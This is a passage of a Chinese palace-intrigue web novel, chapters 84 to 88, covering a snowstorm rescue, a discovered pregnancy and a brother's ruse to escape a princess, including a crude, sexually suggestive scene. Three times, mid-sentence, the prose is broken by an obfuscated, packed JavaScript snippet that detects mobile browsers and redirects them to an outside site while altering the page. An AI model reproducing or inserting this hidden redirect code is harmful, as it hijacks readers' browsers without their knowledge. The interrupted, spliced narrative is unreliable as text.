假的李玄尧在她这里,那颗信号弹十有**是夜颜那批人发的。 莫非刺杀永王失败或者遇到了什么变故? 八哥儿也听到了信号弹的声响,强忍着疼痛和高烧的不适,撑身坐起,神色甚是紧张地朝那点光亮望去。 “夜颜那边可是遇到了麻烦?”江箐珂问。 八哥儿失了片刻的神儿,再看向江箐珂时,他勉强扯唇笑了笑。 “太子妃别担心。” “今日若是能寻到村落,暂时先别回行宫。” 一听这话,江箐珂的心便更乱了。 夜颜定是遇到了什么事。 纵使他一身牛劲儿,武艺高超,也不是刀枪不入的战神,保不齐会出什么意外。 可不管怎样,她都得带着八哥儿先离开这里。 收敛纷乱的思绪,江箐珂拖着爬犁,继续在雪地里笨重前行。 大雪仍在下着。 地上的积雪浸湿了她的鞋袜和衣摆,又湿又凉,隔着肌肤从脚底向上渗透蔓延。 额前散落的碎发也被飘雪打湿,贴在额前和面颊上,湿濡濡的。 单薄的衣裙抵不过寒风,江箐珂感觉身子都要冻透了。 但她毕竟是在走动,身子还有点热气,好于躺在爬犁上的八哥儿。 是时,八哥儿又劝她。 “太子妃明明已知晓奴才的卑贱身份,又何必执意要带奴才离开这里,还不如趁着天还亮,抓紧时间去寻个村子落脚才是。” 虽然累得很,也冷得很,可若不说话,这漫漫风雪之路便愈发地难挨。 江箐珂便有一搭没一搭地同八哥儿闲聊着。 “无论你是谁,身份高贵还是卑贱,都是大周的子民不是?” “说句大实话,我们江家几代虽是李家朝堂的臣子,守的是李家的社稷江山,可我祖父活着时,曾说过一句话。” “他说江家真正守的是大周的这片山河,守的是这片山河上生活的子民,守的是那传承几百年甚至几千年的风俗文化。” “只有守住了,才不会让我们好看的打铁花、有意思的灯影戏、漂亮壮观的花灯,还有其他的民俗技艺,在未来的某一天,成为他国之物,成为异族人口中的宝贝。” “所以,凡是生活在这片山河上的良民百姓,身为江家出来的人,都会守着,管你是影子还是太监。” 八哥儿吁喘笑道:“太子妃仁德,日后若能成国母,实乃我大周子民的福分。” 江箐珂蹙眉,浑身都透着抗拒。 “别给我戴高帽子,听得鸡皮疙瘩都掉雪里了。” 第84章 哨声 大雪下得肆无忌惮,丝毫不管夜空下两人的死活。 但相较于平常,下雪的夜总是格外地亮。 风雪交加,饥肠辘辘。 江箐珂的体力也在逐渐告罄,爬犁上的八哥儿更是烧得开始乱说胡话。 含糊不清,也听不清个数。 而江箐珂的脑子里,则在惦念着今日在冰湖上钓的那些小公鱼。 这功夫要是有几条在手里,她生着吃都能吃得下。 早知会落得这般境地,就把钓的那些鱼带着去追阿兄了。 担心八哥儿会在睡梦中噶了,她就继续碎碎念。 开始讲怎么把小公鱼能炸得香酥而美味。 东拉西扯间,不知脚下绊到了什么,身体失衡,江箐珂重重摔跪在雪地中。 她实在太累了。 饥寒交迫外,腹部还时不时传来隐隐的阵痛。 江箐珂干脆仰面朝天躺在雪地中,恣意地摆个大字。 “到底是几里地啊,怎么走了这么久还没到?” “你确定只是几里地,而不是几十里地?” 江箐珂问八哥儿,然而高烧不醒的八哥儿没有回应。 叹了口气,她随手抓起一把白雪塞到嘴里。 雪化成水,冰得人意识登时又清明了不少。 刺骨的寒气从身下的雪地里向上渗透,将她严丝合缝地包裹着,一点点中和掉她的体温,然后在她身外冻上一层结界,彻底隔绝一切生机。 江箐珂望着飘雪的夜空,静静地躺在那里,看着大片大片的雪花朝她簌簌砸来,让她不由想起了陈年往事。 没有什么特别悲壮的事,也没有什么难忘且不平凡的事。 脑里闪过的都是那些细碎平凡的日日夜夜和不起眼的点点滴滴,还有她在意的那几个人。 也不知江止平安与否,喜晴和谷丰那边如何,夜颜可还活着...... 总得活着回去,才能知晓答案。 江箐珂咬着牙撑身坐起,爬到八哥儿的身旁。 她抓起一把雪,紧攥成团,悬于八哥儿的唇上。 身体冷得都快抖成了筛子,却还借着那可怜的体温,将雪融成水,一滴接一滴地滴进那半启的唇缝里。 周围死寂一片,静得可以听到雪落的声音。 江箐珂抱着赌一把的心态,将那枚信号弹掏出。 引线一拔,哔的一下,信号弹直线冲空。 她仰着冻得发红的小脸,目送着那刺眼的光亮越升越高,带着一线生机,升到那个人可以看到的高度。 夜空骤然变亮,雪夜在此刻有了别的颜色。 仿若西延年末绽放的烟花,明耀而夺目。 刺耳的警鸣声响在雪雾弥漫的天地之间,回荡了许久许久,最后又同那光亮一同归于沉寂。 江箐珂从周围砍来树枝,掏出今日从刺客身上摸来的火折子。 可惜天气太冷,雪太大,冻了的树枝怎么都烧不起来。 无奈之下,江箐珂只能将八哥儿抱在怀里,坐在漫天飞雪里,同裹着一件斗篷。 她用体温暖着他,而他烧得发烫的身子也在暖着她。 在西延军营,于生死和家国大义前,哪有功夫和心思顾及男女之别。 江箐珂前年同江止伏击敌军时,就和喜晴与军营里的兵将躺在一处山洼之处藏身,哪会像京城里的女子去顾及什么名节之事。 人只要行得正,腰板直,便不会在乎他人的目光和非议。 头在斗篷的帽子里低垂着,没等多久,江箐珂便听到似有哨声从不远处的山林支脉上隐约传来。 她立马摘掉帽子,仔细去听。 连续不断的哨声逐渐变得清晰,远处山上零星有火光浮现。 是夜颜。 那哨声就是她做的竹哨吹出来的。 江箐珂激动不已。 她将八哥儿放回爬犁上,拿出火折子,在夜色下来回摇晃。 幽蓝的火光有些微弱,也不知夜颜他们能否看到,但这是她能做的最后努力。 “太子妃!”< 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颤抖的双手抚摸她的脸,揉搓她的肩膀、手臂,还有那冰得可怕的双手。 夜颜在用他的体温来驱赶她身上的寒凉。 只恨自己不能开口说话,夜颜能做的只有用尽全力抱,一遍又一遍地重吻她的脸,来表达他的担心、害怕和失而复得的欣喜。 几个火把靠近,照亮了两人的周围,也映出了夜颜眼底的红,还有眼尾星星点点的泪意。 暖意隔着衣衫一点点渗透到身体里,让人心安得想沉沉睡一上一觉。 江箐珂撑着最后的一丝清明,想伸手去扯夜颜的面纱。 她瓮声瓮气地虚喘着。 “夜颜,我都要**。” “你快让我看看你的脸,不然......我死不瞑目。” 第85章 孩子要吗 胸腔微颤,面纱被几缕气息喷得轻动,夜颜似是破涕而笑。 温热的掌心覆在江箐珂的双眼之上,主动帮她阖上了眼,压根不吃江箐珂这一套。 真真是理性、无情如他。 又累又冷又饿,江箐珂也只能窝在夜颜怀里,嘟嘟囔囔地抱怨几句。 然后眼前一黑,沉沉地昏睡了过去。 雪封**,夜色犹长。 雪狩的风波已停,京城这边的麻烦尚未解决。 李鸢专门用来豢养面首的私邸里,江止还在同李鸢周旋。 屋里屋外都是侍卫,目测有二十多人,很怕他跑了。 “饭也吃了,身子也洗了,舞也看了,酒也喝了......” 李鸢像个无骨妖精,姿态妩媚地靠在江止身侧,伸出涂了丹蔻的柔荑素手,顺着江止的衣襟,不安分地探了进去。 那压低的声音极具蛊惑:“春宵苦短,还不快服侍公主姐姐就寝?” 江止端着一副无所谓的风流模样,任由那只手在他胸前游移轻抚,并配合地眯起一只眼,斜斜勾起唇角,很是享受的愉悦模样。 待李鸢要解开他的衣带时,江止十分轻柔地握住她的手,将人往他怀里用力一拽。 唇贴在耳廓,他低声调情。 “直接脱多没意思,玩玩再操也不迟。” 李鸢仰头看他,笑问:“江大公子想怎么玩儿。” “猜拳,谁输谁脱衣服,脱哪件,赢家说的算。” 李鸢应得干脆。 于是,江止先输了两层裤子。 长长的衣袍下空无一件。 李鸢伸手挑逗。 江止则撑手坐在那里,仰头,闭眼,咬唇,随后扯唇轻笑。 那神情放荡又轻浮,像极了时常混迹于风花雪月之地的风流公子,没有半点拘谨羞涩之态。 享受中,他侧眸看了眼旁边的侍卫,眉头一挑,眼神极具挑衅和炫耀之意。 几名侍卫白了江止一眼,继续仰头看藻井,在那里当空气。 李鸢吃了甜头,放下了戒备之心,势要让江止在她面前脱个精光。 可接下来的猜拳,李鸢却从未赢过。 待输得只剩肚兜和底裤时,李鸢冷冷地觑了眼那十几名侍卫,沉声下令:“你们也出去守着吧。” 侍卫退下,李鸢抬手欲要解下肚兜。 “慢着。” 江止抬手阻拦,倏地凑到李鸢面前,坏笑道:“在下亲自来。” 李鸢很是满意,“好啊。” 江止先是勾住那系在腰间的肚兜带儿,轻轻一扯,胸前春光呼之欲出。 抬手去解细颈上的系带时,他弯唇笑问:“公主想不想来点更刺激的?” 李鸢声音轻佻而娇媚道:“什么?” “飞天。” “飞天?”李鸢挑眉疑惑,“那是何种玩法?” 江止凑到她耳边私语了一句,李鸢笑得捶了下他的胸口。 “没想到,江大公子玩得还挺花。” “本公主喜欢。” 在细颈上的系带即将解开时,江止眉眼风流地看着李鸢邪肆一笑,反手一翻化为刀,快而准地用力劈下。 李鸢反应不及,人便被劈得昏了过去。 江止将人扛起,扔到床榻上。 他枕着双臂,姿态慵懒地躺在地上,两只腿搭在榻边,踹得床榻不停地摇晃作响。 觉得还差点意思,他故意嗯嗯哈哈,时不时说几句骚话。 “又润又紧,**的够劲儿。” “公主倒是叫啊。” “叫得跟猫似的,**给谁听呢?” ...... 大手时不时拍打自己的肚皮,**的,在屋外都听得一清二楚。 中途李鸢醒了一次,不给她开口喊人的机会,江止又是一个手刀劈下。 等他衣衫完成地走出那屋子时,已过了大半个时辰。 二十把利剑相互交叉,同时拦住江止的去路。 江止一脸炫耀道:“公主殿下已被老子操晕,还拦着**屁?” 见侍卫们还不收剑,江止捶着腰,摇着头,龇牙咧嘴地卖起惨来。 “半个时辰最多了。” “老子天生肾不好,再留半宿,就得精尽人亡了。” “都是男人,能不能有点同情心?” 男人自懂男人的苦,几名侍卫面面相觑,似有动容。 侍卫首领收回剑,绕过江止,甚为谨慎地进去确认了一眼。 地上衣裙凌乱,而公主李鸢则躺在一片旖旎杂乱的被褥间,睡得正沉。 侍卫首领这才安心地放了江止离府。 只可惜天色已黑,城门紧锁,要出城便要等明日。 江止只能站在巍峨高耸的城门下,扶额发愁,焦急不已。 只求他的满满今日能平安无事。 ** 江箐珂是饿醒的。 醒来时,天色已亮,人也躺在了行宫的床上。 屋内炭火融融,被褥里则放了三四个的汤婆子,热得她出了一身的热汗。 江箐珂撑身坐起,窸窸窣窣的声响,引起了喜晴的注意。 “太子妃终于醒了。” 喜晴急匆匆跑过来,怕她着凉,又给江箐珂披肩了单衣。 “太子妃可有哪里不适?” 江箐珂摇头:“就是有点饿。” “奴婢这就去熬碗粥过来。” 喜晴转身要走,却**箐珂叫住:“夜颜呢?” “夜颜公子昨夜在床边守了一夜,但天刚亮,便被曹公公叫了出去,想来是受太子之命,去处理永王和昨日山中行刺之事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025874|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江箐珂关切道:“你和谷丰昨日伤得可严重?” 喜晴温声安抚她。 “太子妃尽管放心,奴婢只是受了些皮外伤,不碍事的。” “倒是谷丰本就中了几箭,又在救奴婢时,后背挨了一刀,回去怕是得养些日子了。” “但好在大家都性命无忧。” 江箐珂急声又问:“那阿兄呢,可有寻到?” 一说到江止,喜晴的眸光登时就暗了下去。 她撅着嘴,不开心道:“昨日夜里回到行宫时,便收到乐宁公主派人送来的信,说已将大公子接回京城好生招待,让我们无须挂念。” 这个结果是万万没想到的。 江箐珂先是一惊,紧接着便问:“何时接的?” 喜晴茫然摇头。 “那倒没说,应该是午后吧。” “毕竟咱们在山里还看到大公子呢。” “许是大公子一回到行宫,便被乐宁公主的人接了去?” 江箐珂仍觉得事有蹊跷。 她十分肯定昨日在山里看到的人,绝不是阿兄。 正在她沉思之际,喜晴劝慰道:“太子妃现在哪是担心大公子的时候,还是先顾顾自己的身子吧。” 江箐珂刚睡醒,脑子一直昏昏沉沉的,在听到喜晴的话后,才想起昨夜腹部的刺痛。 “我是不是来癸水了?”她问。 可日子好像还差几天呢。 一双杏眼噙着笑,喜晴开口道:“奴婢也不知是该替太子妃发愁,还是该恭喜太子妃了。” “何意?”江箐珂茫然。 喜晴低声言语。 “太子妃有喜了。” “但好在从小习武,身体底子好,肚子里的孩子才算勉强保住。” “要是换了平常家的女子,这冰天雪地里,衣着单薄,拖着个人走了那么远的山路,孩子怕是早就落干净了。” 大冬天的,却是晴天一道霹雳。 江箐珂红唇半张,怔愣在那里,怀疑自己是不是耳朵冻坏了。 “有喜了?” “我?” 喜晴用力点头。 “昨晚,曹公公寻了太医给太子妃诊脉,太医说是喜脉,只是胎气不稳,且已见红,是小产之兆,须要回宫静养,日日服用安胎药。” 转身指了指炭火炉上坐着的紫砂壶,喜晴说:“那紫砂壶里熬的便是安胎药。” 江箐珂这才察觉,屋里飘着一股子汤药味儿。 “怎么会?” 她无法理解:“我明明吃了避子丸的啊。” 喜晴点头如捣蒜。 “奴婢也是很是纳闷儿。” “太子妃每次都不落地服用,这么多月过去都没事,怎么突然就怀上了呢。” 话落,喜晴默了默,又问:“这孩子,太子妃要吗?” 第86章 天意 若想流掉孩子,现在便是最好的机会。 可江箐珂摸了摸肚子,突然又有点舍不得。 这种不舍并非因为夜颜。 单纯只是她与腹中胎儿之间的某种微妙情感。 说不清,也道不明,还很陌生。 若是母亲还活着,定能为她答疑解惑。 留不留呢? 江箐珂暂时下不了决定。 许是夜颜的子子孙孙们跟他一样,靠着股牛劲儿,硬是住在了她的肚子里,又或者是避子丸被人偷偷做了手脚。 但不管是哪种,江箐珂都觉得这是天意。 莫不如,暂且顺应天意? 喜晴看出了江箐珂的犹豫,起身将凉好的安胎药端了过来。 “要不,太子妃先把这碗安胎药喝了,再慢慢想?” “若是不喝,胎保不住,太子妃可就没有选择的余地了。” 一句话说在了江箐珂的心坎上。 她侧眸狠狠白了喜晴一眼。 “在劝我喝药这方面,你这嘴皮子功夫练得是愈发厉害了。” 接过药碗,江箐珂捏着鼻子,表情痛苦地将那苦了吧唧的东西一口闷了下去。 不多时,屋内米香扑鼻,喜晴在给江箐珂熬粥。 院子里传来嘎吱嘎吱的踏雪声,很快房门被人叩响。 喜晴起身跑去开门,没想到竟是穆汐带着名女婢来了。 江箐珂的榻前,穆汐微微欠身,行了一礼,随后在喜晴搬来的凳子上优雅落座。 “奴婢见过太子妃,太子妃懿安。” 女婢花容随即替穆汐开口。 “昨日,侧妃得知太子妃于山中出事,可是担心了一整日,直到夜里收到太子妃平安的消息,这才安心睡下。” 闻言,江箐珂扫了一眼穆汐的脸。 低垂的眸眼下略有乌青,怎么瞧都像是失眠没睡好。 只听那花容小嘴继续叭叭。 “那么冷的天,那么大的雪,好在太子妃福泽深厚,能被及时救回。” “想到太子妃昨日在冰天雪地里冻了许久,到现在定是滴米未进,我家侧妃今早起来,便亲自熬了锅鱼肉羹,还炸了些小公鱼带来。” 言语间,花容将手中的食盒递给了喜晴。 “一来,侧妃甚是挂念太子妃的身子,特来探望,带点吃食以聊表心意。” “二来,听曹公公说太子妃有了身孕,我家侧妃便想在第一时间,亲自同太子妃道贺。” 视线从花容脸上移开,江箐珂的目光扫向穆汐。 那副清冷寡淡的神情,连点笑容都没有,怎么瞧都感觉不出来穆汐是来贺喜的。 倒像是来给她添晦气的。 适时,穆汐缓缓掀眸。 四目相对,彼此微微颔首,唇角皆勾起极浅的假笑来。 “穆侧妃有心了。” 江箐珂道了句场面话。 穆汐浅笑摇头,打了个手语。 【应该的。】 随后她又继续比划,一双眸眼时而欢喜,时而悲伤。 江箐珂没太看懂,转头看向花容。 “侧妃说,得知太子妃有了身孕,太子殿下很高兴。” “如今徐才人和太子妃都有了喜,外面再不会有人敢妄议太子殿下,以无绵延皇嗣之力为由来**东宫。” “眼下正是多事之秋,太子妃这一胎怀得正好。” 穆汐作为李玄尧最亲近的人,定是知晓东宫的一切谋划。 同她说这些也是合情合理。 但这话听着,江箐珂总有种穆汐凌驾在她头顶上的感觉。 就好像,她是个穆汐和李玄尧固权筹谋的棋子一般。 只听花容又道:“我家侧妃最是喜欢孩子,待徐才人和太子妃的孩子出世,到时东宫定是非常热闹。只可惜......” 三个字,语气瞬间就换了个情绪。 “我家侧妃这辈子都不会再有自己的孩子了,所以,十分羡慕徐才人和太子妃。” 江箐珂看向穆汐,甚是诧然。 “为何?” 穆汐落寞垂眸,花容代为言说。 “太子妃也定是知晓的,穆家受奸人所害,被抄家流放,我家侧妃之前也被发配到了京城的教坊司。” “凡是罪臣之女在被送到教坊司之前,都会被刑部的人喂上一碗九寒汤。” 九寒汤是个什么东西,江箐珂自是知晓。 西延军营里也有**营,而**营里的女子为了绝育,都会主动讨碗九寒汤喝。 江箐珂想不明白,穆汐为何会自揭伤疤,跟她说起这事儿,在这里卖可怜。 自张良娣一事之后,她总觉得穆汐这人阴森森的,就像条潜伏在暗处,但随时会蹿出来咬你一口的毒蛇。 这话才刚聊起来,曹公公却急匆匆赶来。 进屋看了一眼江箐珂,眼底焦虑担心褪去,这才同穆汐躬身行礼。 “穆侧妃,太子妃胎气不稳,需要回宫静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029072|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心养胎。” “今日宗庙祭祖一事,太子殿下命侧妃一同前往。” “半个时辰后车马就要出发了,太子殿下请侧妃过去,同白太傅了解下祭祖事宜。” 穆汐起身,似是不甘心就此离开,她清冷而高傲地斜睨了眼江箐珂,才极守礼数地欠身行礼而去。 曹公公命小太监去给穆汐带路,自己则留下来,眉开眼笑地走到榻前。 “恭喜太子妃。” 明知她不想要孩子,还恭喜,明白着是来气她来了。 江箐珂没好气地给曹公公递了个眼刀子。 “本宫有什么好恭喜的?” 她阴阳怪气道:“曹公公该恭喜的是太子殿下,终于如愿以偿,可以高枕无忧了。” 曹公公笑而不语。 江箐珂蹙着眉头质问。 “本宫的避子丸,你们做了手脚对吧?” 曹公公抬起手比划了下,赔笑道:“一点点。” “怎么个一点点法?”江箐珂问。 “那避子丸都是真的,一点手脚没动过。只是,在送到太子妃手里之前,太子殿下故意掺了些......天意进去。” “天意”二字被曹公公咬得极重,让江箐珂确实无言反驳。 一百粒药丸里,有十几粒是假的。 连续数次吃到假的概率又能是多少? 这都能中,不是天意是什么? 江箐珂只能自认倒霉。 曹公公笑着又安慰道:“不过都是养宫养颜的药丸,太子妃吃了也不碍事的,大可放心。” “奴才还有事要忙,先退下了。” 想起昨夜救的李玄尧是假的,江箐珂又叫住了曹公公。 “我昨夜救的小太监呢?” 曹公公答:“托太子妃的福,八哥儿好着呢,昨晚太医给他下针上了药,现在烧也退了,腿也接上了,回宫养些日子便能下地了。” 听曹公公刚刚同穆汐的话,李玄尧此时已在行宫。 江箐珂好奇道:“既然此行一直露面的都是八哥儿,那太子殿下之前在何处?” 曹公公有答的问题,也有不答的。 “太子妃好好休息,奴才退下了。” 屋门应声而关,隔绝了外面的寒气。 喜晴拎着食盒问道:“太子妃,这鱼肉羹和炸小鱼怎么办?” 江箐珂捂着叽里咕噜直叫的肚子,冷冷地瞥了一眼那食盒。 摇头咬牙道:“都扔了。” 第87章 有生之年 大雪于夜里便停了。 青天晴日,眼前的一切都白得炫目。 李玄尧起驾去宗庙时,江箐珂也准备要起程回京城。 江箐珂自小皮实,吃饱喝足后,就跟个没事儿人似的。 她提着鞭子就往行宫外大步走着,吓得曹公公跟在后面大惊小怪。 “哎呦喂,太子妃,您可慢点走啊。” “喜晴!还不快扶着点你家主子。” “慢着!慢着!慢着点儿来,这雪地路滑,太子妃可要当心着啊。” ...... 就几步道而已,一惊一乍的,江箐珂觉得孩子没摔掉,也要被曹公公给吓掉了。 罗里吧嗦的,江箐珂拨开喜晴搀扶她的手,虚张声势地冲曹公公甩了下鞭子。 “找抽是不是?” “差不多得了。” 曹公公立马闭嘴不再唠叨。 行宫外,长长的仪仗整齐地列队站在雪地之中。 李玄尧穿着玄色**袍,在谷俊的搀扶下,拖着左腿,一点一点地朝着最奢华的那辆马车挪步而去。 江箐珂见了摇头咋舌。 这戏让李玄尧演的。 八哥儿明明断的是右腿。 喜晴似有不解,小声同江箐珂嘀咕着。 “太子妃,伤的明明是太监八哥儿,太子殿下这又是作何呢?” 江箐珂低声反问喜晴。 “那你想想,好好的岁末雪狩,永王却在山中被围杀,主持今年雪狩的太子殿下,又该如何给朝中大臣和世人一个合理的解释,来堵住这悠悠众口?” 喜晴似有所懂。 “奴才明白了。” “太子殿下这是在演戏给众人看。” “永王心怀不轨,意图暗杀太子殿下,阴谋落败,被当场围杀,自是再没有比这个更具说服力的理由了。” 目光后移,江箐珂看向衣着端庄华丽的穆汐。 她紧跟在李玄尧的身后,时不时地朝不远处的一辆马车望去,也不知在瞧什么。 偏偏那正是江箐珂要坐着回京城的车。 直到她上了马车后,隐隐约约猜到穆汐刚刚瞧的是什么。 从早上便不见人影的夜颜,此时就坐在她的马车里。 他披着一件黑色狐裘大氅,面纱挂着,正悠闲自在地煮水泡茶。 车内很是宽敞,路上所需应有尽有。 夜颜拍了拍身侧,示意江箐珂在铺了几层被褥又盖了一层熊皮的地方躺下。 喜晴识相地退出车内。 江箐珂单手撑头,侧卧在暄软温暖的熊皮毯上,懒声问:“你不用去保护殿下?” 夜颜摇头,比划了个简单的手语。 【有人保护殿下。】 【我想陪你。】 【还有......】 【我们的孩子。】 江箐珂直言道:“你就不怕未来某一天,太子殿下卸磨杀驴,过河拆桥,连带着我和你的孩子一起给杀了?” 夜颜将那狐裘大氅解下,盖在她的身上,未接江箐珂刚刚提的这一茬。 眼波流转,江箐珂试探地又问夜颜。 “还是说,你也姓李?我们的孩子生了,仍是李家的血脉?” 夜颜低垂眸眼,充耳不闻地斟了两杯暖茶。 拿起茶盏,他小心翼翼地撩起面纱,细细品味。 江箐珂欲要趁机窥探他的容貌,夜颜却及时撂下面纱,将茶盏放回桌上。 侧眸看来,一双好看的异瞳微微弯起,眼里噙着宠溺的笑。 江箐珂撑身坐起,凑到夜颜的身旁,眸眼晶晶亮地继续猜着。 “我前些日子让喜晴打听过了,文德皇后生的第四个皇子,也就是那个年幼溺亡的五皇子,名叫李道。” “所以,你叫李道,对不对?” 夜颜终于有了反应。 他拿起炭笔,在折册子上写字。 江箐珂迫不及待探头去看,谁承想夜颜说的却是别的事。 【明知山中不太平,昨日为何进了山?】 【喜晴说你是去寻阿兄?】 江箐珂点头,想起了昨日的蹊跷之处。 “是去寻阿兄来着。” 夜颜写字又问。 【江止既是冲你来,又为何会独自入山?】 “我当时也觉得奇怪,不像是阿兄的行事风格。” “可人活着并不是事事绝对的,因为太担心阿兄的安危,我便进了山。” 夜颜重重地吁了一口气,似乎是在压制着某种情绪。 他提笔写字,力透纸背,似乎将所有的不悦和恼怒都倾注在字句上。 【下次勿要再冒险行事。】 【有何事,吩咐谷丰他们去做便是。】 【你的命比任何人都重要,尤其对在下来说。】 【若是你为江止而死,他就算是活着,在下也会......】 【杀了他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031155|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 一个“杀”字,一撇一捺都透着杀气。 江箐珂将刺龙鞭用力拍在桌子上,同夜颜叫板。 “你敢?” “到时,我和阿兄就算做鬼,也要把你给吃了。” 夜颜高冷地耸了耸肩头。 【这世上若真有鬼神,倒也好。】 【至少还能再见你。】 【无论我死,还是你死。】 看着最后一句话,江箐珂那臭脾气又消了下去。 “你死什么啊,你**谁保护你的......太子弟弟?” 她半眯着眼,言语不甚确定道:“还有,你的青梅竹马,穆侧妃。” 【不是猜我是穆珩?】 江箐珂没耐心地凶道:“那你到底是穆珩,还是李道?” 夜颜回写。 【我是你的夜颜。】 “滚。” 半天套不出一句真话,江箐珂转身躺下,把头蒙在夜颜的大氅里,生起了闷气。 好闻的龙涎香萦绕在密闭的空间里,她轻轻嗅了嗅,满鼻子都是夜颜身上气息。 那淡淡的药草香,很是特别,让人难以忽视。 “也没见你天天受伤,怎么身上总是有股子药味儿?” 江箐珂转身又问。 夜颜提笔回她。 【在下得了不治之症,活不了多久,只能靠药吊着命。】 江箐珂腾地坐起。 “你胡说!” “曹公公说这是创伤药膏,谷丰他们都用,你装什么可怜骗人?” 水蓝色的那侧眉眼轻挑,牵起一抹戏谑的笑来。 他落笔又写。 【若是曹公公骗了太子妃呢?】 江箐珂登时就慌了几分,五官神情都凝滞在了此刻。 夜颜似是笑了笑,提笔又写。 【所以,太子妃对在下可否好点,在我有生之年?】 江箐珂瞬间就红了眼。 “夜颜,你骗人的,对不对?” 就在此时,喜晴在马车外惊喜喊道:“太子妃,大公子来了。” 一听是江止来了,悲伤转瞬即逝,江箐珂眉开眼笑,立马拉开车窗,探出头去。 “阿兄来了?” 可很快,她又一脸慌乱地惊叫道:“啊?阿兄来了?!” 她转头看车里的夜颜,又探头去看江止,一瞬间不知所措。 这下可怎么办? 都断了关系的人,怎么还可能在她车里。 第88章 没睡 现在将夜颜推下马车,一是不可能,二是也晚了。 飞驰的马蹄声临近,车外传来江止同喜晴的言语声。 江箐珂紧扣车窗,用最快的语速同夜颜交待。 “我跟阿兄说了,跟你这个姘头早就断了。” 她冲着夜颜做了个噤声的动作,神情严肃地小声叮嘱。 “你千万别出声,阿兄若是知道我骗他,我立马就得下跪学狗叫,到了明年夏天还得生吞蟋蟀和夏蝉,一口一个。” “满满。” 江止叫她。 “哎。” 也不管夜颜同意与否,江箐珂转头拉开半个车窗,用头把窗口堵得严严实实。 “阿兄,昨日找不到你,我和喜晴都要担心**。” “说来话长,阿兄上车同你慢慢说。” 江止说完就要翻身下马。 喜晴和江箐珂异口同声:“不行!” 江止坐在马背上,甚觉可疑地瞧了二人一眼。 喜晴很是机灵地解释道:“大公子,这里不比西延,且小姐也已嫁人,成了太子妃,这前前后后又跟着这么多的东宫侍卫,虽说是兄妹,可叫人瞧见大公子与太子妃同乘马车独处,这传出去终是不好听。” 江止懒懒地乜了喜晴一眼。 虽不愿听,却懂其中的事理,便也没再翻身下马。 “这来了京城,一个个都变得瞎矫情。” 缰绳松松垮垮牵着,江止任由身子随着马儿的走动而左右晃动,转身望向后面的车队。 “红枣和我的乌骓呢?” 江箐珂答:“都在后面跟着呢。” 江止偏了下头,同江箐珂示意。 “那就下来骑马走走。” “别天天坐着躺着,养一身懒膘儿。” 喜晴紧忙劝阻。 “这可不行。” “太子妃有了身孕,有小产之兆,万万骑不得马。” 此言一出,听得江止看着喜晴怔了好一瞬。 待收回视线,连句道喜的话也没说,江止骑马望着前路,若有所思,闷闷不语。 江箐珂换了个话题,率先打破沉默。 “听说阿兄是被乐宁公主请去的。” 她抿了抿唇,一边观察江止的神情,一边小心翼翼地问他。 “阿兄......可是被公主殿下......睡了?” 江止眉头紧拧,脸上忽然露出一股凶劲儿,极力否认道:“没睡!” “真的?” 江箐珂有点不信。 “阿兄向来是来者不拒,到处沾花惹草,这送上来的风流,竟然没睡?” 江止也不看她。 他冷着个脸,从怀里掏出一片干薄荷叶,随手扔到嘴里,又用舌尖拱到唇角,一点点用力嚼着,也不知是在泄哪门子的愤。 “老子没那么饥不择食,不像某人,什么人都能睡,什么人都能拿来当姘头。” 这话说的...... 阴阳谁饥不择食呢? 江箐珂听得堵得慌,特想拿鞭子抽江止。 偏偏身后的姘头也开始不老实。 头背靠着车壁,就紧贴在她身侧坐着。 一会儿在她后背上写着字,一会儿捏捏她的腰,一会儿向上揉揉她的胸。 这功夫又牵起她撑在身侧的手。 将她的手指头放在唇齿间,轻轻地吻,轻轻地碾咬,一根接着一根。 而另一只手则顺着她宽大的衣袖,向里面探入抚摸,惹得江箐珂忍不住耸了下肩头。 她屏蔽干扰,同江止问起了正事。 “那阿兄昨日上午到底去了哪里,叫我和喜晴等人好一顿找。” 一聊起此事,江止也收起了小情绪,变得一本正经起来。 “不,我是前日夜里被乐宁公主绑走的。” 江箐珂和喜晴的瞳孔皆是一震。 “前日夜里?” “被绑走的?” 喜晴不解:“以大公子的身手,何至于被绑走?就算是人多势众,逃也是能逃的啊。” 江止眉头微动,甚感没面子地搓了搓鼻尖。 他将嚼得差不多的薄荷叶吐了出去,同江箐珂和喜晴二人把前晚的事说了一遍。 当江止说到门外有人模仿江箐珂的声音时,夜颜所有挑逗亲昵的动作都在那一刻戛然而止。 “竟然有人能模仿我的声音和语气,还很像?”江箐珂不由称奇。 江止点 